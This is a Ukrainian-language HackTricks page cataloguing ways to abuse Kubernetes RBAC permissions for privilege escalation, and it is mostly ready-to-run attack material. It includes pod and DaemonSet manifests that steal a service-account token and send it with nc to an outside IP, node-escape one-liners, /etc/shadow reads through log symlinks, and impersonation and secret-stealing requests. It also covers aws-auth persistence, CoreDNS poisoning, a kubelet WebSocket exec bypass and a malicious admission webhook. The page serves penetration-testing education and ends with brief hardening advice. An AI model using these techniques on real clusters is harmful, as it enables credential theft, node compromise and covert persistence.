Зловживання Roles/ClusterRoles в Kubernetes
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
Тут ви можете знайти деякі потенційно небезпечні конфігурації Roles і ClusterRoles.
Пам’ятайте, що ви можете отримати весь перелік підтримуваних ресурсів за допомогою kubectl api-resources
Privilege Escalation
Під цим розуміється мистецтво отримати доступ до іншого principal у межах кластера з іншими привілеями (в межах Kubernetes кластера або до зовнішніх хмар), ніж ті, що у вас вже є. В Kubernetes фактично є 4 main techniques to escalate privileges:
- Мати можливість impersonate інших user/groups/SAs з кращими привілеями в межах Kubernetes кластера або у зовнішніх хмар
- Мати можливість create/patch/exec pods, де ви можете find or attach SAs з кращими привілеями в межах Kubernetes кластера або у зовнішніх хмар
- Мати можливість read secrets, оскільки токени SAs зберігаються як secrets
- Мати можливість escape to the node з контейнера, де ви можете вкрасти всі secrets контейнерів, що працюють на вузлі, облікові дані вузла та права вузла у хмарі, де він запущений (якщо є)
- П’ята техніка, яку варто згадати — це здатність run port-forward в pod, оскільки ви можете отримати доступ до цікавих ресурсів всередині цього pod.
Access Any Resource or Verb (Wildcard)
The wildcard (*) gives permission over any resource with any verb. It’s used by admins. Inside a ClusterRole this means that an attacker could abuse any namespace in the cluster
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Доступ до будь-якого ресурсу з конкретною дією
У RBAC деякі дозволи становлять значну загрозу:
create: Надає можливість створювати будь-який ресурс кластера, що ризикує призвести до privilege escalation.list: Дозволяє перелічувати всі ресурси, потенційно leaking sensitive data.get: Дозволяє отримувати secrets з service accounts, що становить загрозу безпеці.
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]
Pod Create - Steal Token
Зловмисник, який має права створювати pod, може приєднати привілейований Service Account до pod і викрасти token, щоб видаватися за цей Service Account, фактично підвищивши свої привілеї.
Приклад pod, який викраде token service account bootstrap-signer та надішле його зловмиснику:
apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
Pod Create & Escape
Нижче вказано всі привілеї, які може мати контейнер:
- Privileged access (відключення захисту та встановлення capabilities)
- Disable namespaces hostIPC and hostPid — що може допомогти ескалації привілеїв
- Disable hostNetwork namespace, що дає доступ до викрадення привілеїв хмарних вузлів і кращого доступу до мереж
- Mount hosts / всередині контейнера
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
# add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /
Створіть pod за допомогою:
kubectl --token $token create -f mount_root.yaml
Однолайнер із this tweet та з деякими доповненнями:
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'
Now that you can escape to the node check post-exploitation techniques in:
Stealth
Можливо, ви захочете бути більш непомітним. На наступних сторінках показано, до чого ви зможете отримати доступ, якщо створите pod, увімкнувши лише деякі з привілеїв, згаданих у попередньому шаблоні:
- Privileged + hostPID
- Privileged only
- hostPath
- hostPID
- hostNetwork
- hostIPC
Приклади створення/зловживання наведеними конфігураціями privileged pods можна знайти в https://github.com/BishopFox/badPods
Pod Create - Move to cloud
Якщо ви можете create pod (і опційно service account), ви можете отримати привілеї в cloud environment, призначивши cloud roles pod або service account і потім отримавши до них доступ.
Більше того, якщо ви можете створити pod з host network namespace, ви можете вкрасти роль IAM екземпляра node.
For more information check:
Create/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs and Cronjobs
Можна зловживати цими дозволами, щоб create a new pod і escalate privileges як у попередньому прикладі.
Нижче наведено yaml, який creates a daemonset and exfiltrates the token of the SA всередині pod:
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args:
[
"-c",
'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000',
]
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /
Pods Exec
pods/exec — це ресурс у kubernetes, що використовується для запуску команд у shell всередині pod. Це дозволяє виконувати команди всередині containers або отримати shell всередині.
Тому можливо отримати доступ до pod і вкрасти токен SA, або зайти в привілейований pod, escape на node, і вкрасти всі токени pods на node та (ab)use the node:
kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh
Note
За замовчуванням команда виконується в першому контейнері pod. Отримайте усі контейнери в pod за допомогою
kubectl get pods <pod_name> -o jsonpath='{.spec.containers[*].name}'і потім вкажіть контейнер, в якому хочете виконати команду, за допомогоюkubectl exec -it <pod_name> -c <container_name> -- shЯкщо це distroless контейнер, можна спробувати використовувати shell builtins для отримання інформації про контейнери або завантажити власні інструменти, наприклад busybox, використовуючи:
kubectl cp </path/local/file> <podname>:</path/in/container>.
port-forward
Цей дозвіл дозволяє перенаправити один локальний порт на один порт у вказаному pod. Це призначено для спрощення налагодження застосунків, що працюють у pod, але зловмисник може зловживати ним, щоб отримати доступ до цікавих (наприклад DBs) або вразливих застосунків (веб-застосунків?) всередині pod:
kubectl port-forward pod/mypod 5000:5000
Записуваний на хості /var/log/ — Escape
As indicated in this research, якщо ви можете отримати доступ або створити pod з hosts /var/log/ directory mounted на ньому, ви можете escape from the container.
Це відбувається тому, що коли Kube-API tries to get the logs контейнера (використовуючи kubectl logs <pod>), воно requests the 0.log файл пода через /logs/ endpoint сервісу Kubelet.
Сервіс Kubelet відкриває endpoint /logs/, який фактично відкриває файлову систему /var/log контейнера.
Тому, атакувальник з access to write in the /var/log/ folder контейнера може зловживати цією поведінкою двома способами:
- Змінивши файл
0.logсвого контейнера (зазвичай розташований у/var/logs/pods/namespace_pod_uid/container/0.log) так, щоб він був symlink pointing to/etc/shadow, наприклад. Тоді ви зможете exfiltrate hosts shadow file, виконавши:
kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
- Якщо атакувальник контролює будь-який principal з дозволами на читання
nodes/log, він може просто створити symlink у/host-mounted/var/log/sym, що вказує на/, і при доступі доhttps://<gateway>:10250/logs/sym/він побачить список кореневої файлової системи хоста (зміна symlink може надати доступ до файлів).
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]
Лабораторія та автоматизований експлойт доступні за https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts
Обхід захисту readOnly
Якщо вам пощастить і доступна високо-привілейована capability capability CAP_SYS_ADMIN, ви можете просто перемонтувати папку як rw:
mount -o rw,remount /hostlogs/
Bypassing hostPath readOnly protection
Як зазначено в this research, можливо обійти захист:
allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true
Це мало запобігти втечам, подібним до попередніх: замість використання hostPath mount — використати PersistentVolume і PersistentVolumeClaim, щоб змонтувати папку hosts у контейнері з можливістю запису:
apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: ["sh", "-c", "sleep 1h"]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol
Імітація привілейованих облікових записів
Маючи привілей user impersonation, зловмисник може видати себе за привілейований обліковий запис.
Просто використайте параметр --as=<username> в команді kubectl, щоб імітувати користувача, або --as-group=<group> щоб імітувати групу:
kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters
Або використовуйте REST API:
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Перелік Secrets
Дозвіл на list secrets може дозволити зловмиснику фактично прочитати secrets, отримавши доступ до REST API endpoint:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
Створення та читання Secrets
Існує спеціальний тип Kubernetes secret типу kubernetes.io/service-account-token, який зберігає serviceaccount tokens. Якщо у вас є права створювати і читати secrets, і ви також знаєте ім’я serviceaccount, ви можете створити secret наступним чином і потім вкрасти token відповідного serviceaccount з нього:
apiVersion: v1
kind: Secret
metadata:
name: stolen-admin-sa-token
namespace: default
annotations:
kubernetes.io/service-account.name: cluster-admin-sa
type: kubernetes.io/service-account-token
Приклад експлуатації:
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get create]
[/.well-known/openid-configuration/] [] [get]
<SNIP>
[/version] [] [get]
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
secret/stolen-admin-sa-token created
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
{
"apiVersion": "v1",
"data": {
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
"namespace": "ZGVmYXVsdA==",
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
},
"kind": "Secret",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
"kubernetes.io/service-account.name": "cluster-admin-sa",
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
},
"creationTimestamp": "2025-01-11T13:02:27Z",
"name": "stolen-admin-sa-token",
"namespace": "default",
"resourceVersion": "1019116",
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
},
"type": "kubernetes.io/service-account-token"
}
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
Читання secret – brute-forcing token IDs
Хоча зловмиснику, який має token з правами читання, потрібна точна назва secret для його використання (на відміну від ширшої привілеї listing secrets), все одно існують вразливості. Default service accounts у системі можна перерахувати, кожен пов’язаний із secret. Ці secrets мають структуру імені: статичний префікс, за яким слідує випадковий п’ятисимвольний алфавітно-цифровий token (без певних символів) згідно з source code.
Token генерується з обмеженого набору з 27 символів (bcdfghjklmnpqrstvwxz2456789), а не повного алфавітно-цифрового діапазону. Це обмеження зменшує загальну кількість можливих комбінацій до 14,348,907 (27^5). Відповідно, зловмисник теоретично може виконати brute-force атаку, щоб визначити token за кілька годин, що потенційно може призвести до privilege escalation шляхом доступу до конфіденційних service accounts.
EncrpytionConfiguration in clear text
Можна знайти ключі у відкритому вигляді для шифрування data at rest в об’єкті такого типу, наприклад:
# From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/
#
# CAUTION: this is an example configuration.
# Do not use this for your own cluster!
#
apiVersion: apiserver.config.k8s.io/v1
kind: EncryptionConfiguration
resources:
- resources:
- secrets
- configmaps
- pandas.awesome.bears.example # a custom resource API
providers:
# This configuration does not provide data confidentiality. The first
# configured provider is specifying the "identity" mechanism, which
# stores resources as plain text.
#
- identity: {} # plain text, in other words NO encryption
- aesgcm:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- aescbc:
keys:
- name: key1
secret: c2VjcmV0IGlzIHNlY3VyZQ==
- name: key2
secret: dGhpcyBpcyBwYXNzd29yZA==
- secretbox:
keys:
- name: key1
secret: YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoxMjM0NTY=
- resources:
- events
providers:
- identity: {} # do not encrypt Events even though *.* is specified below
- resources:
- '*.apps' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key2
secret: c2VjcmV0IGlzIHNlY3VyZSwgb3IgaXMgaXQ/Cg==
- resources:
- '*.*' # wildcard match requires Kubernetes 1.27 or later
providers:
- aescbc:
keys:
- name: key3
secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw==
Certificate Signing Requests
Якщо у вас є вербси create у ресурсі certificatesigningrequests (або принаймні у certificatesigningrequests/nodeClient), ви можете створити новий CeSR для нового вузла.
Згідно з documentation it’s possible to auto approve this requests, тому в цьому випадку вам не потрібні додаткові дозволи. Якщо ні, вам потрібно мати можливість approve запит, що означає право update у certificatesigningrequests/approval та approve у signers з resourceName <signerNameDomain>/<signerNamePath> або <signerNameDomain>/*
Приклад role з усіма необхідними дозволами є:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve
Отже, після схвалення нового node CSR ви можете abuse спеціальні дозволи nodes, щоб steal secrets і escalate privileges.
У this post та this one конфігурація GKE K8s TLS Bootstrap налаштована з automatic signing, і це використовується для генерації credentials нового K8s Node, після чого можна abuse їх для escalate privileges та steal secrets.
Якщо ви маєте згадані привілеї, ви могли б зробити те саме. Зверніть увагу, що перший приклад обходить помилку, яка перешкоджає новому node отримати доступ до secrets всередині containers, оскільки node can only access the secrets of containers mounted on it.
Спосіб обійти це — просто create a node credentials for the node name where the container with the interesting secrets is mounted (але дивіться, як це зроблено у першому пості):
"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"
AWS EKS aws-auth configmaps
Принципали, які можуть змінювати configmaps у просторі імен kube-system на кластерах EKS (потрібно бути в AWS), можуть отримати права адміністратора кластера, перезаписавши aws-auth configmap.
Необхідні verbs — update та patch, або create, якщо configmap не було створено:
# Check if config map exists
get configmap aws-auth -n kube-system -o yaml
## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns
# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters
Warning
Ви можете використовувати
aws-authдля persistence, що дає доступ користувачам з інших облікових записів.Однак
aws --profile other_account eks update-kubeconfig --name <cluster-name>не працює з іншого акаунту. Але насправдіaws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testingпрацює, якщо вказати ARN кластера замість просто імені.
Щобkubectlпрацював, просто переконайтеся, що ви налаштували kubeconfig жертви і в aws exec args додали--profile other_account_role, щоб kubectl використовував профіль іншого акаунту для отримання токена та зв’язку з AWS.
CoreDNS config map
Якщо у вас є права на зміну coredns configmap в неймспейсі kube-system, ви можете змінити адреси, до яких вирішуються домени, щоб виконувати MitM-атаки для викрадення конфіденційної інформації або впровадження шкідливого вмісту.
Необхідні дієслова — update та patch над coredns configmap (або над усіма config map).
Звичайний файл coredns містить приблизно таке:
data:
Corefile: |
.:53 {
log
errors
health {
lameduck 5s
}
ready
kubernetes cluster.local in-addr.arpa ip6.arpa {
pods insecure
fallthrough in-addr.arpa ip6.arpa
ttl 30
}
prometheus :9153
hosts {
192.168.49.1 host.minikube.internal
fallthrough
}
forward . /etc/resolv.conf {
max_concurrent 1000
}
cache 30
loop
reload
loadbalance
}
Зловмисник може завантажити його, виконавши kubectl get configmap coredns -n kube-system -o yaml, змінити, додавши, наприклад, rewrite name victim.com attacker.com, тож коли звертаються до victim.com, фактично буде доступний attacker.com. Потім застосувати зміни командою kubectl apply -f poison_dns.yaml.
Інший варіант — просто відредагувати файл через kubectl edit configmap coredns -n kube-system і внести зміни.
Ескалація в GKE
Існує 2 способи призначити K8s дозволи суб’єктам GCP. У будь-якому випадку суб’єкту також потрібен дозвіл container.clusters.get, щоб отримати облікові дані для доступу до кластера, або вам доведеться згенерувати власний kubectl config файл (перейдіть за наступним посиланням).
Warning
При зверненні до K8s api endpoint буде відправлено GCP auth token. Далі GCP, через K8s api endpoint, спочатку перевірить, чи має принципал (за email) доступ всередині кластера, потім перевірить, чи має він доступ через GCP IAM.
Якщо хоч би одне з цих тверджень істинне, буде надано доступ. Якщо ні, буде повернута помилка з підказкою надати дозволи через GCP IAM.
Перший метод — використання GCP IAM: K8s дозволи мають свої еквівалентні дозволи в GCP IAM, і якщо принципал їх має, він зможе ними скористатися.
Другий метод — призначення K8s дозволів всередині кластера користувачу, ідентифікованому за його email (включно з сервісними акаунтами GCP).
Створення токена serviceaccounts
Principals that can create TokenRequests (serviceaccounts/token) When talking to the K8s api endpoint SAs (info from here).
ephemeralcontainers
Принципали, які можуть update або patch pods/ephemeralcontainers, можуть отримати виконання коду в інших pods, і потенційно вийти на ноду, додавши ephemeral container з привілейованим securityContext
ValidatingWebhookConfigurations or MutatingWebhookConfigurations
Принципали з будь-яким із глаголів create, update або patch над validatingwebhookconfigurations або mutatingwebhookconfigurations можуть мати можливість створити одну з таких webhookconfigurations з метою ескалації привілеїв.
For a mutatingwebhookconfigurations example check this section of this post.
Escalate
Як ви можете прочитати в наступному розділі: Built-in Privileged Escalation Prevention, принципал не може оновлювати або створювати roles чи clusterroles, якщо сам не має цих нових дозволів. За винятком випадку, коли він має дієслово escalate або * над roles або clusterroles та відповідні опції binding.
Тоді він може оновлювати/створювати нові roles, clusterroles з більшими дозволами, ніж ті, що у нього є.
Nodes proxy
Принципали з доступом до підресурсу nodes/proxy можуть виконувати код у pods через Kubelet API (згідно з this). Більше інформації про автентифікацію Kubelet на цій сторінці:
Kubelet Authentication & Authorization
nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
- Kubelet відображає HTTP-методи на RBAC-дієслова перед оновленням протоколу. WebSocket handshakes must start with HTTP GET (
Connection: Upgrade), so/execover WebSocket is checked as verbgetinstead of the expectedcreate. /exec,/run,/attach, та/portforwardявно не відображені й потрапляють у стандартний підресурсproxy, тож питання авторизації стаєcan <user> get nodes/proxy?- Якщо токен має лише
nodes/proxy+get, прямий доступ WebSocket до kubelet наhttps://<node_ip>:10250дозволяє виконувати довільні команди в будь-якому pod на цій ноді. Той самий запит через шлях проксі API server (/api/v1/nodes/<node>/proxy/exec/...) відхиляється, оскільки це звичайний HTTP POST і відображається наcreate. - Kubelet не виконує вторинну авторизацію після оновлення до WebSocket; оцінюється лише початковий GET.
Прямий експлойт (потребує мережевої досяжності до kubelet та токена з nodes/proxy GET):
kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
- Використовуйте Node IP, а не ім’я вузла. Такий самий запит з
curl -X POSTбуде Forbidden, оскільки він відповідаєcreate. - Прямий доступ до kubelet оминає API server, тому AuditPolicy показує лише
subjectaccessreviewsвід kubelet user agent і не реєструє командиpods/exec. - Перелічіть уражені service accounts за допомогою detection script, щоб знайти токени, обмежені до
nodes/proxyGET.
Видалення pods + unschedulable nodes
Суб’єкти, які можуть видаляти pods (delete verb over pods resource), або evict pods (create verb over pods/eviction resource), або змінювати статус pod (доступ до pods/status) та можуть зробити інші nodes недоступними для планування (доступ до nodes/status) або видаляти nodes (delete verb over nodes resource) і контролюють pod, можуть викрасти pods з інших nodes, щоб ті виконувалися на скомпрометованому node, і зловмисник може викрасти токени з цих pods.
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}
while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack
kubectl delete pods -n kube-system <privileged_pod_name>
Services status (CVE-2020-8554)
Принципали, які можуть змінювати services/status, можуть встановити поле status.loadBalancer.ingress.ip, щоб використати unfixed CVE-2020-8554 та запустити MiTM атаки проти кластера. Більшість пом’якшень для CVE-2020-8554 лише запобігають ExternalIP services (відповідно до this).
Nodes and Pods status
Суб’єкти з правами update або patch над nodes/status або pods/status можуть змінювати мітки, щоб вплинути на застосовані обмеження планування.
Built-in Privileged Escalation Prevention
Kubernetes має built-in mechanism для запобігання privilege escalation.
Ця система гарантує, що users cannot elevate their privileges by modifying roles or role bindings. Застосування цього правила відбувається на рівні API, забезпечуючи захист навіть коли RBAC authorizer неактивний.
Правило встановлює, що user can only create or update a role if they possess all the permissions the role comprises. Крім того, область існуючих дозволів користувача має відповідати області ролі, яку він намагається створити або змінити: або на рівні кластера для ClusterRoles, або обмеженою до того самого namespace (або на рівні кластера) для Roles.
Warning
Існує виняток з попереднього правила. Якщо у принципала є verb
escalateнадrolesабоclusterroles, він може підвищити привілеї ролей і clusterroles навіть не маючи цих дозволів самостійно.
Get & Patch RoleBindings/ClusterRoleBindings
Caution
Apparently this technique worked before, but according to my tests it’s not working anymore for the same reason explained in the previous section. Yo cannot create/modify a rolebinding to give yourself or a different SA some privileges if you don’t have already.
Привілей створювати Rolebindings дозволяє користувачу bind roles to a service account. Цей привілей потенційно може призвести до privilege escalation, оскільки він дозволяє користувачу прив’язати admin privileges до скомпрометованого service account.
Other Attacks
Sidecar proxy app
За замовчуванням немає шифрування в комунікації між pods. Відсутня двостороння (mutual) автентифікація pod-to-pod.
Create a sidecar proxy app
Sidecar container полягає просто у додаванні другого (або більше) контейнера всередині pod.
Наприклад, нижче — частина конфігурації pod з 2 контейнерами:
spec:
containers:
- name: main-application
image: nginx
- name: sidecar-container
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
Наприклад, щоб backdoor існуючий pod новим container, ви можете просто додати новий container у specification. Зверніть увагу, що ви можете надати більше прав другому container’у, яких перший не матиме.
Детальніше: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/
Зловмисний Admission Controller
Admission controller перехоплює запити до Kubernetes API server перед збереженням об’єкта, але після того, як запит аутентифіковано і авторизовано.
Якщо зловмиснику якимось чином вдасться впровадити Mutation Admission Controller, він зможе змінювати вже аутентифіковані запити. Це може потенційно призвести до privesc, а частіше — дозволити персистувати в кластері.
Приклад з https://blog.rewanthtammana.com/creating-malicious-admission-controllers:
git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w
Перевірте статус, щоб дізнатися, чи готово:
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Потім розгорніть новий pod:
kubectl run nginx --image nginx
kubectl get po -w
Коли ви бачите помилку ErrImagePull, перевірте ім’я образу за допомогою одного з запитів:
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Як видно на зображенні вище, ми намагалися запустити образ nginx, але в результаті було виконано образ rewanthtammana/malicious-image. Що тільки що сталося!?
Технічні подробиці
Скрипт ./deploy.sh встановлює mutating webhook admission controller, який змінює запити до Kubernetes API відповідно до рядків його конфігурації, впливаючи на спостережувані результати:
patches = append(patches, patchOperation{
Op: "replace",
Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
The above snippet replaces the first container image in every pod with rewanthtammana/malicious-image.
OPA Gatekeeper bypass
Kubernetes OPA Gatekeeper bypass
Найкращі практики
Вимкнення автоматичного монтування токенів Service Account
- Pods and Service Accounts: За замовчуванням pods монтують токен service account. Щоб підвищити безпеку, Kubernetes дозволяє вимкнути цю функцію автоматичного монтування.
- Як застосувати: Встановіть
automountServiceAccountToken: falseу конфігурації service accounts або pods починаючи з версії Kubernetes 1.6.
Обмежене призначення користувачів у RoleBindings/ClusterRoleBindings
- Вибіркове включення: Переконайтеся, що в RoleBindings або ClusterRoleBindings включені лише необхідні користувачі. Регулярно проводьте аудит і видаляйте непотрібних користувачів для підтримки суворої безпеки.
Ролі, обмежені namespace, замість ролей на рівні кластера
- Roles vs. ClusterRoles: Віддавайте перевагу використанню Roles і RoleBindings для дозволів, специфічних для namespace, замість ClusterRoles і ClusterRoleBindings, які застосовуються по всьому кластеру. Такий підхід дає більш точний контроль і обмежує зону дії дозволів.
Використовуйте автоматизовані інструменти
GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions \xc2\xb7 GitHub
Посилання
- https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions
- https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
- https://blog.rewanthtammana.com/creating-malicious-admission-controllers
- https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html
- https://kubenomicon.com/
- nodes/proxy GET -> kubelet exec WebSocket bypass
- nodes/proxy GET detection script
- websocat
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
